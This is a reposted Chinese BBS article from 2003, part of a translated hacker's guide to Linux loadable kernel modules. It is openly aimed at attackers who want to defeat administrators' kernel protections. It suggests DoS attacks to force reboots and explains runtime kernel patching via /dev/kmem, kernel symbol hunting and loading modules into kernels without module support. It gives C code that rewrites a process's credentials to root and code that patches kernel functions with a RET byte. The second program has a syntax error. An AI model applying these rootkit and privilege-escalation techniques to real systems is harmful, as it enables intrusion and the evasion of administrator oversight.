荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: cycker (快过年吧.我想回家), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(十六)(转寄)[转载]
发信站: 荔园晨风BBS站 (Thu Jan  2 18:24:14 2003), 站内信件

【 以下文字转载自 cycker 的信箱 】
【 原文由 xiaofong@bbs.pku.edu.cn 所发表 】
发信人: chenhao (努力学习), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(十六)
发信站: 北大未名站 (2000年11月20日01:25:47 星期一) , 转信

第四部分 一些更好的想法(给hacker的)

4.1 击败系统管理员的LKM的方法
这一部分会给我们对付一些使用LKM保护内核的多疑(好的)的管理员的方法。在解释了所
有系统管理员能够使用的方法之后,很难为我们(hackers)找到一个更好的办法。我们需
要离开LKM一会儿,来寻找击败这些困难的保护的方法。


假定一个系统可以被管理员安装上一个十分好的大范围的监视的LKM,他可以检查那个系统
的每一个细节。他可以做到第二或者第三部分提到的所有事情。


第一种除掉这些LKM的方法可以是重新启动系统。也许管理员并没有在启动文件里面加载这
些LKM。因此,试一些DoS攻击或者其他的。如果你还不能除去这个LKM就看看其他的一些重
要文件。但是要仔细,一些文件有可能是被保护或者监视的(见附录A,里面有一个类似的
LKM)。


假如你真的找不到LKM是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样
你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘
记这个系统吧。你可能遇到真正的好的对手并且将会有麻烦。对于那些确实想击败这个系
统的,读第二小节。


4.2 修补整个内核-或者创建Hacker-OS


[注意:这一节听上去可能有一些离题了。但是在最后我会给出一个很漂亮的想法(Silvi
o Cesare写的程序也可以帮助我们使用我们的LKM。这一节只会给出整个内核问题的一个大
概的想法,因为我只需要跟随Sivio Cesare的想法]


OK,LKM是很好的。但是如果系统管理员喜欢在5。1中提到的想法。他做了很多来阻止我们
使用我们在第二部分学到的美妙的LKM技术。他甚至修补他自己的内核来使他的系统安全。
他使用一个不需要LKM支持的内核。


因此,现在到了我们使用我们最后一招的时候了:运行时内核补丁。最基本的想法来自我
发现的一些源程序(比如说Kmemthief),还有Silvio Cesare的一个描述如何改变内核符
号的论文。在我看来,这种攻击是一种很强大的'内核入侵'。我并不是懂得每一个Un*x,
但是这种方法可以在很多系统上使用。这一节描述的是运行时内核补丁。但是为什么不谈
谈内核文件补丁呢?每一个系统有一个文件来代表内核,在免费的系统中,像FreeBSD,L
inux,。。。。,改变一个内核文件是很容易的。但是在商业系统中呢?我从来没有试过
。但是我想这会是很有趣的:想象通过一个内核的补丁作为系统的后门.你只好重新启动系
统或者等待一次启动。(每个系统都需要启动)。但是这个教材只会处理运行时的补丁方
式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道如何补丁整个内核。
好的,这一节将会教会我们如何'insmod'LKM到一个十分安全的,或者没有LKM支持的系统
。因此我们还是学到了一些和LKM有关的东西了。


因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kerne
l Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的
系统的虚拟内存。[注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系
统以后。只有非常不安全的系统才会让普通用户存取那个文件]。


正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swa
p)。这意味着我们可以存取整个内存,这就允许我们操纵内存中的每一个内核元素。(因
为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核
符号的地址。因此我们知道如何才能通过更改内存来控制一些内核符号。下面让我们来看
看一个很早就知道的很基本的例子。下面的(用户空间)的程序获得了task_structure的
地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得U
ID=0。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用
户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。


/*注意:我没有实现错误检查*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>


/*我们想要改变的任务结构的最大数目*/

#define NR_TASKS 512


/*我们的任务结构-〉我只使用了我们需要的那部分*/

struct task_struct {

char a[108];       /*我们不需要的*/

int pid;

char b[168];       /*我们不需要的*/

unsigned short uid,euid,suid,fsuid;

unsigned short gid,egid,sgid,fsgid;

char c[700];       /*我们不需要的*/

};



/*下面是原始的任务结构,你可以看看还有其他的什么是你可以改变的

struct task_struct {

volatile long state;

long counter;

long priority;

unsigned long signal;

unsigned long blocked;

unsigned long flags;

int errno;

long debugreg[8];

struct exec_domain *exec_domain;

struct linux_binfmt *binfmt;

struct task_struct *next_task, *prev_task;

struct task_struct *next_run, *prev_run;

unsigned long saved_kernel_stack;

unsigned long kernel_stack_page;

int exit_code, exit_signal;

unsigned long personality;

int dumpable:1;

int did_exec:1;

int pid;

int pgrp;

int tty_old_pgrp;

int session;

int leader;

int groups[NGROUPS];

struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;

struct wait_queue *wait_chldexit;

unsigned short uid,euid,suid,fsuid;

unsigned short gid,egid,sgid,fsgid;

unsigned long timeout, policy, rt_priority;

unsigned long it_real_value, it_prof_value, it_virt_value;

unsigned long it_real_incr, it_prof_incr, it_virt_incr;

struct timer_list real_timer;

long utime, stime, cutime, cstime, start_time;

unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;

int swappable:1;

unsigned long swap_address;

unsigned long old_maj_flt;

unsigned long dec_flt;

unsigned long swap_cnt;

struct rlimit rlim[RLIM_NLIMITS];

unsigned short used_math;

char comm[16];

int link_count;

struct tty_struct *tty;

struct sem_undo *semundo;

struct sem_queue *semsleeping;

struct desc_struct *ldt;

struct thread_struct tss;

struct fs_struct *fs;

struct files_struct *files;

struct mm_struct *mm;

struct signal_struct *sig;

#ifdef __SMP__

int processor;

int last_processor;

int lock_depth;

#endif

};

*/


int main(int argc, char *argv[])

{

unsigned long task[NR_TASKS];

/*用于特定PID的任务结构*/

struct task_struct current;

int kmemh;

int i;

pid_t pid;

int retval;


pid = atoi(argv[2]);


kmemh = open("/dev/kmem", O_RDWR);


/*找到第一个任务结构的内存地址*/

lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);

read(kmemh, task, sizeof(task));


/*遍历知道我们找到我们的任务结构(由PID确定)*/

for (i = 0; i < NR_TASKS; i++)

{

lseek(kmemh, task[i], SEEK_SET);

read(kmemh, &current, sizeof(current));

/*是我们的进程么*/

if (current.pid == pid)

{

/*是的,因此改变UID域。。。。*/

current.uid = current.euid = 0;

current.gid = current.egid = 0;

/*写回到内存*/

lseek(kmemh, task[i], SEEK_SET);

write(kmemh, &current, sizeof(current));

printf("Process was found and task structure was modified\n");

exit(0);

}

}

}


关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改
变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面的这个例子并
不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev
/kmem,我不知道)。用同样的方法你也可以改变控制系统内核信息的模块结构。通过对k
mem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个
程序一样(当然,搜索是有点难了 :))。通过上面的方法我们可以改变一个内核的结构
。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会
发现并没有太多的程序来完成这个。当然,对一个内核函数进行补丁会更有技巧一些(在
后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就是让他
指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的
系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个我从/proc/ksyms获得的函数
地址前面。这样这个函数就会马上返回,什么也不做。


/*同样的,没有错误检查*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>


/*不过是我们的返回代码*/

unsigned char asmcode[]={0xc3};


int main(int argc, char *argv[])

{

unsigned long counter;

int kmemh;


/*打开设备*/

kmemh = open("/dev/kmem", O_RDWR);


/*找到内存地址中函数开始的地方*/

lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);


/*写入我们的补丁字节*/

write(kmemh, &asmcode, 1):


close(kmemh);

}


让我们总结一下我们目前所知道的:我们可以改变任何内核符号;这包括一些像sys_call
_table[]这样的东西,还有其他任何的函数或者结构。记住每个内核补丁只有在我们可以
存取到/dev/kmem的时候才可以使用。但是我们也知道了如何保护这个文件。可以看3.5.5



4.2.1 如何在/dev/kmem中找到内核符号表


在上面的一些基本的例子过后,你也许会问如何更改任何一个内核符号以及如何才能找到
有趣的东西。在上面的例子中,我们使用/proc/ksyms来找到我们需要改变的符号的地址。
但是当我们在一个内核里面没有LKM支持的系统时该怎么办呢?这将不会有/proc/ksyms这
个文件了,因为这个文件只用于管理模块。(公共的,或者存在的符号)。那么对于那些
没有输出的内核符号我们该怎么办呢?我们怎样才能更改他们?


呵呵,有很多问题。现在让我们来找一些解决的方案。Silvio Cesare讨论过一些发现不同
的内核符号的方法(公共的或者不公开的)。他指出当编译Linux内核的时候,一个名字叫
System。map的文件被创建,他映射每一个内核的符号到一个固定的地址。这个文件只是在
编译的时候解析这些内核的符号的时候才需要。运行着的系统没有必要使用这个文件。这
些编译时候使用的地址和/dev/kmem里面使用的使一样的。因此,通常的步骤是:


查找system。map来获得需要的内核符号

找到我们的地址

改变内核符号(结构,函数,或者其他的)


听上去相当的容易。但是这里会有一个大问题。每一个系统并不使用和我们一样的内核,
因此他们的内核符号的地址也不会和我们的一样。而且在大多数系统中你并不会找到一个
有用的system。map文件来告诉你每一个地址。那我们应该怎么办呢?Silvio Cesare建议
我们使用一种关键码搜寻的方法。只要使用你的内核,读一个符号的开始的十个字节的(
是随机的)值,并且把这十个值作为关键码来在另一个内核中搜寻地址。如果你不能为某
个符号找到一个一般的关键码,你可以尝试找到这个符号和系统其他你可以找到关键码的
符号的关系。要找到这种关系你可以看内核的源代码。通过这种方法,你可以找到一些你
可以改变的有趣的内核符号。(补丁)。


4.2.2 新的不需要内核支持的'insmod'


现在到了我们回到我们的LKM入侵上的时候了。这一节将会向你介绍Silvio Cesare的kins
mod程序。我只会列出大体上的工作方法。这个程序的最为复杂的部分在于处理(elf文件
)的目标代码和内核空间的映射。但是这只是一个处理elf头的问题,不是内核问题。Sil
vio Cesare使用elf文件是因为通过这种方法你可以安装[正常]的LKMs。当然也可以写一个
文件(仅仅是操作码-〉看我的RET例子)并且插入这个文件,这会有点难,但是映射会很
容易。对于那些想真正理解elf文件处理的,我把Silvio Cesare的教材加进来了。(我已
经做了,因为Silvio Cesare希望他的源代码或者想法只能在那份教材里面作为一个整体传
播)。


现在让我们来看看在一个没有LKM支持的系统中插入LKM的方法。


如果我们想插入代码(一个LKM或者其他的任何东西),我们将要面对的第一个问题是如何
获得内存。我们不能取一个随机的地址然后就往/dev/kmem里面写我们的目标代码。因此我
们必须找到一个放我们的代码的地方,他不能伤害到我们的系统,而且不能因为一些内核
操作就被内核释放。有一个地方我们可以插入一些代码,看一眼下面的显示所有内核内存
的图表:


kernel data

...

kmalloc pool


Kmalloc pool是用来给内核空间的内存分配用的(kmalloc(...))。我们不能把我们的代码
放在这里,因为我们不能确定我们所写的这个地址空间是没有用的。现在看看Silvio Ces
are的想法:kmalloc pool在内存中的边界是存在内核输出的memory_start和memory_end里
面的。(见/proc/ksyms)。有意思的一点在于开始的地址(memory_start)并不是确切的
kmalloc pool的开始地址。因为这个地址要和下一页的memory_start对齐。因此,会有一
些内存是永远都不会被用到的。(在memory_start和真正的kmalloc pool的开始处)。这
是我们插入我们的代码的最好的地方。OK,这并不是所有的一切。你也许会意识到在这个小
小的内存空间里面放不下任何有用的LKM。Silvio Cesare把一些启动代码放在这里。这些
代码加载实际的LKM。通过这个方法,我们可以在缺乏LKM支持的系统上加载LKM。请阅读S
ilvio Cesare的论文来获得进一步的讨论以及如何实际上将一个LKM文件(elf 格式的)映
射到内核。这会有一点难度。




--
※ 来源:.北大未名站 bbs.pku.edu.cn [FROM: 162.105.45.129]
--
※ 转寄:·北大未名站 bbs.pku.edu.cn·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.36.220]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店